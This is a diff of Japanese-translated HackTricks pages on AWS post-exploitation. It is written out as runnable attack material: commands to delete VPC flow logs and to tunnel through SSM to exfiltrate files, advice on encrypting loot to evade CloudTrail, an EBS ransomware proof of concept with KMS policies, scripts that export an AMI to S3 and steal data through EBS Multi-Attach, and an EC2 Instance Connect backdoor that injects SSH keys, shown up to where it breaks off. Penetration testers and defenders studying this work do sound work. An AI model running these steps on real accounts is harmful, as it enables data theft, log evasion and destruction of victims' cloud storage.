-For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+詳細は[**こちらを確認**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs)。
 
-### Remove VPC flow logs
+### VPC flow logs を削除
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
-### SSM ポートフォワーディング
+### SSM Port Forwarding
 
-必要な権限:
+Required permissions:
 
 - `ssm:StartSession`
 
-コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。
-これが有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
+In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
+One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
 
-> セッションを開始するには、SessionManagerPluginがインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> セッションを開始するには SessionManagerPlugin がインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
-1. マシンにSessionManagerPluginをインストールします
-2. 次のコマンドを使用してBastion EC2にログインします:
+1. お使いのマシンに SessionManagerPlugin をインストールする
+2. 次のコマンドを使って Bastion EC2 にログインする:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. [AWS EC2 環境における SSRF の悪用](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します。
-4. 資格情報を `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして自分のマシンに転送します。
-5. Bastion EC2 として EKS にログインします:
+3. Bastion EC2 の AWS 一時認証情報を [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトで取得する
+4. 認証情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する
+5. Bastion EC2 として EKS にログインする:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` に更新します  
-7. 次のように SSM トンネルを作成します:
+6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` を指すように更新する
+7. 以下のようにSSMトンネルを作成する:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、自分のマシンから次のコマンドを実行することでプライベートEKSクラスターにアクセスできます:
+8. `kubectl` ツールからのトラフィックは Bastion EC2 経由で SSM トンネルを通して転送されるようになり、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-SSL接続は、`--insecure-skip-tls-verify`フラグ（またはK8s監査ツールでの同等のもの）を設定しない限り失敗します。トラフィックが安全なAWS SSMトンネルを通じてトンネリングされているため、MitM攻撃からは安全です。
+注意：SSL 接続は `--insecure-skip-tls-verify ` フラグ（または K8s audit tools の同等の設定）を指定しないと失敗します。トラフィックはセキュアな AWS SSM トンネルを経由しているため、MitM 攻撃の心配はありません。
 
-最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットすることができます。
+最後に、この手法は private EKS clusters を攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットできます。
 
 ---
 
-#### クイックローカル ↔️ リモートポートフォワード (AWS-StartPortForwardingSession)
+#### クイック ローカル ↔️ リモート ポート転送 (AWS-StartPortForwardingSession)
 
-**EC2インスタンスからローカルホストに1つのTCPポートを転送するだけが必要な場合**は、`AWS-StartPortForwardingSession` SSMドキュメントを使用できます（リモートホストパラメータは不要です）：
+もし EC2 インスタンスからローカルホストへ **一つの TCP ポートだけを転送** したい場合は、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（リモートホストパラメータは不要です）:
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-コマンドは、ワークステーション（`localPortNumber`）とインスタンス上の選択したポート（`portNumber`）の間に双方向トンネルを確立します **インバウンドセキュリティグループルールを開かずに**。
+このコマンドは、ワークステーション（`localPortNumber`）とインスタンス上の選択したポート（`portNumber`）の間に双方向トンネルを確立します（**without opening any inbound Security-Group rules**）。
 
-一般的な使用例：
+よくあるユースケース：
 
-* **ファイルの抽出**
-1. インスタンス上で、抽出したいディレクトリを指す簡単なHTTPサーバーを起動します：
+* **File exfiltration**
+1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易HTTPサーバーを起動します：
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. ワークステーションからSSMトンネルを通じてファイルを取得します：
+2. ワークステーションからSSMトンネル経由でファイルを取得します：
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **内部ウェブアプリケーションへのアクセス（例：Nessus）**
+* **内部のウェブアプリケーションへのアクセス（例: Nessus）**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -160,28 +225,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-ヒント: CloudTrailがクリアテキストの内容をログに記録しないように、証拠を抽出する前に圧縮して暗号化してください:
+ヒント: 証拠は exfiltrating する前に Compress および encrypt しておき、CloudTrail が clear-text content を log しないようにする:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
 ```
-### AMIを共有する
+### AMI を共有する
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### 公共およびプライベート AMI での機密情報の検索
+### 公開およびプライベートな AMIs 内の機密情報を検索する
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール** です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する** ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、それらのボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。
 
-### EBS スナップショットの共有
+### EBS Snapshot を共有する
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが簡単であることから、Ransomware Management Service（RMS）に改名されるべきです。
+S3 post-exploitation notesで示したRansomwareデモに似たproof of conceptです。KMSは、様々なAWSサービスを簡単に暗号化するのに使えることからRMS（Ransomware Management Service）と呼び換えるべきでしょう。
 
-まず、'attacker' AWSアカウントからKMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は'AttackSim'で、すべてのアクセスを許可するポリシールールは'Outside Encryption'と呼ばれています。
+まず、'attacker' AWSアカウントからKMSにcustomer managed keyを作成します。この例ではAWSにキーのデータを管理させますが、現実的にはmalicious actorがキー情報をAWSの管理外に保持するでしょう。キーのポリシーを変更して、任意のAWSアカウントPrincipalがキーを使用できるようにします。このキー・ポリシーでは、アカウント名は 'AttackSim' で、すべてのアクセスを許可するポリシールールは 'Outside Encryption' と呼ばれていました。
 ```
 {
 "Version": "2012-10-17",
@@ -273,7 +338,7 @@ S3のポストエクスプロイテーションノートで示されたランサ
 ]
 }
 ```
-キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるようにするために、次のものを有効にする必要があります:
+キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるように次が有効になっている必要があります:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -281,21 +346,21 @@ S3のポストエクスプロイテーションノートで示されたランサ
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-公開アクセス可能なキーを使用して、暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高権限の AWS アカウントの侵害を前提としています。
+Now with the publicly accessible key to use. 'victim' アカウントを使用できます。そこには未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスがいくつか起動しています。暗号化の対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたという想定の下で行われます。
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+S3 ransomware の例と同様に、この攻撃ではアタッチされている EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーを使って新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用した snapshots を削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-これにより、アカウントに残るのは暗号化された EBS ボリュームのみになります。
+その結果、アカウント内には暗号化された EBS ボリュームのみが残ります。
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の暗号化されていないボリュームはもうありません。
+また補足として、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の未暗号化ボリュームはすでに消えています。
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-次に、「攻撃者」アカウントのキー ポリシーに戻り、キー ポリシーから「Outside Encryption」ポリシー ルールを削除します。
+次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシー ルールを削除します。
 ```json
 {
 "Version": "2012-10-17",
@@ -366,15 +431,15 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ
 ]
 }
 ```
-しばらく待って、新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。
+新しく設定したキーのポリシーが伝搬するまで少し待ちます。次に 'victim' アカウントに戻り、新しく暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームをアタッチできることがわかります。
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
+しかし、暗号化された EBS ボリュームを使って EC2 インスタンスを実際に再起動しようとすると、キーのポリシーがもはや許可していないため、アタッチされている EBS ボリュームをキーで復号できず、インスタンスは 'pending' 状態から 'stopped' 状態に戻り続けて失敗します。
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最終的にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
+これは使用した python スクリプトです。'victim' アカウントの AWS creds と、暗号化に使用するための公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な ALL の EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して元の EBS ボリュームをデタッチして削除し、最終的にプロセス中に使用したすべてのスナップショットを削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームのみが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってスナップショットから元の状態に復元することは可能ですが、最終的にはこれは ransomware PoC であることを認識してください。
 ```
 import boto3
 import argparse
@@ -491,8 +556,8 @@ delete_snapshots(ec2_client, snapshot_ids)
 if __name__ == "__main__":
 main()
 ```
-## 参考文献
+## 参考資料
 
-- [Pentest Partners – AWSでSSMを使用してファイルを転送する方法](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
new file mode 100644
index 000000000..9695f1091
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+EC2 の AMI export-to-S3 を悪用して、EC2 インスタンスのフルディスクを S3 に格納された単一の raw イメージとして持ち出し、アウトオブバンドでダウンロードします。これによりスナップショットの共有を回避し、AMI ごとに1つのオブジェクトが作成されます。
+
+## 要件
+- EC2: ターゲットのインスタンス/AMI 上で `ec2:CreateImage`、`ec2:CreateStoreImageTask`、`ec2:DescribeStoreImageTasks`
+- S3（同一リージョン）: `s3:PutObject`、`s3:GetObject`、`s3:ListBucket`、`s3:AbortMultipartUpload`、`s3:PutObjectTagging`、`s3:GetBucketLocation`
+- AMI スナップショットを保護するキーに対する KMS の decrypt（復号）権限（EBS のデフォルト暗号化が有効な場合）
+- `vmie.amazonaws.com` サービスプリンシパルを信頼する S3 バケットポリシー（下記参照）
+
+## 影響
+- スナップショットを共有したりアカウント間でコピーしたりせずに、インスタンスのルートディスク全体を S3 上でオフライン取得できる。
+- エクスポートされた raw イメージから認証情報、設定、ファイルシステムの内容に対するステルスなフォレンジックが可能になる。
+
+## AMI Store-to-S3 を使った持ち出し方法
+
+- 注記:
+- S3 バケットは AMI と同じリージョンにある必要があります。
+- `us-east-1` では、`create-bucket` に `--create-bucket-configuration` を含めてはいけません。
+- `--no-reboot` はインスタンスを停止せずにクラッシュ一貫性のあるイメージを作成します（よりステルスだが整合性は低い）。
+
+<details>
+<summary>ステップごとのコマンド</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## 証拠例
+
+- `describe-store-image-tasks` の遷移:
+```text
+InProgress
+Completed
+```
+- S3 object metadata (例):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- 部分的なダウンロードはオブジェクトへのアクセスを証明する:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## 必要な IAM 権限
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3（エクスポートバケット上）: `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: AMI スナップショットが暗号化されている場合、スナップショットで使用される EBS KMS キーに対して復号を許可してください
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
new file mode 100644
index 000000000..83ef893a9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
@@ -0,0 +1,77 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+同じ Availability Zone (AZ) 内の攻撃者が制御するインスタンスに同じボリュームをアタッチして、EBS Multi-Attach を悪用しライブの io1/io2 データボリュームを読み取ります。共有ボリュームを読み取り専用でマウントすると、スナップショットを作成せずに使用中のファイルへ即時にアクセスできます。
+
+## 要件
+- 対象ボリューム: 攻撃者インスタンスと同じ Availability Zone (AZ) にあり、`--multi-attach-enabled` で作成された io1 または io2。
+- 権限: 対象ボリューム/インスタンスに対する `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances`。
+- インフラ: Multi-Attach をサポートする Nitro ベースのインスタンスタイプ（C5/M5/R5 ファミリー等）。
+
+## 注意事項
+- 破損リスクを下げ、ジャーナルのリプレイを避けるため、`-o ro,noload` で読み取り専用マウントすること。
+- Nitro インスタンスでは、EBS の NVMe デバイスが安定した `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` パスを公開します（以下に補助あり）。
+
+## Multi-Attach io2 ボリュームを準備してターゲットにアタッチする
+
+例（`us-east-1a` に作成しターゲットにアタッチ）:
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+被害者上で、新しいボリュームをフォーマット/マウントし、機密データを書き込む（例示）:
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## 同じ volume を attacker instance にアタッチ
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## attacker上で読み取り専用にマウントしてデータを読む
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+期待される結果: 同じ `VOL_ID` に複数の `Attachments`（被害者と攻撃者）が表示され、攻撃者は snapshot を作成せずに被害者が書き込んだファイルを読み取ることができる.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>ヘルパー: Volume ID で NVMe device path を見つける</summary>
+
+Nitro instances では、volume id を埋め込んだ安定した by-id path を使用してください（`vol` の後のダッシュを削除）:
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## 影響
+- スナップショットを生成せずに、対象の EBS ボリューム上のライブデータに即時読み取りアクセスが可能になる。
+- 読み書きでマウントされている場合、攻撃者は被害者のファイルシステムを改ざんできる（破損のリスク）。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
new file mode 100644
index 000000000..5d27f8c39
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+EC2 Instance Connect Endpoint (EIC Endpoint) を悪用して、パブリックIPや bastion がないプライベート EC2 インスタンスへの着信 SSH アクセスを獲得する方法:
+- ターゲットサブネット内に EIC Endpoint を作成する
+- ターゲットの SG に対して EIC Endpoint SG からの着信 SSH を許可する
+- `ec2-instance-connect:SendSSHPublicKey` を使って短命の SSH 公開鍵（約60秒有効）を注入する
+- EIC トンネルを開いてインスタンスにピボットし、IMDS からインスタンスプロファイルのクレデンシャルを窃取する
+
+Impact: バスチオンや public IP の制限を回避し、プライベート EC2 インスタンスへのステルスなリモートアクセス経路を確立します。攻撃者はインスタンスプロファイルを引き受けてアカウント内で操作できます。
+
+## Requirements
+- 必要な権限:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- SSH サーバーと EC2 Instance Connect が有効なターゲット Linux インスタンス（Amazon Linux 2 または Ubuntu 20.04+）。デフォルトユーザ: `ec2-user` (AL2) または `ubuntu` (Ubuntu).
+
+## 変数
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## EIC Endpoint を作成
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## EIC Endpoint からターゲットインスタンスへのトラフィックを許可する
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## 一時的な SSH キーを注入してトンネルを開く
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
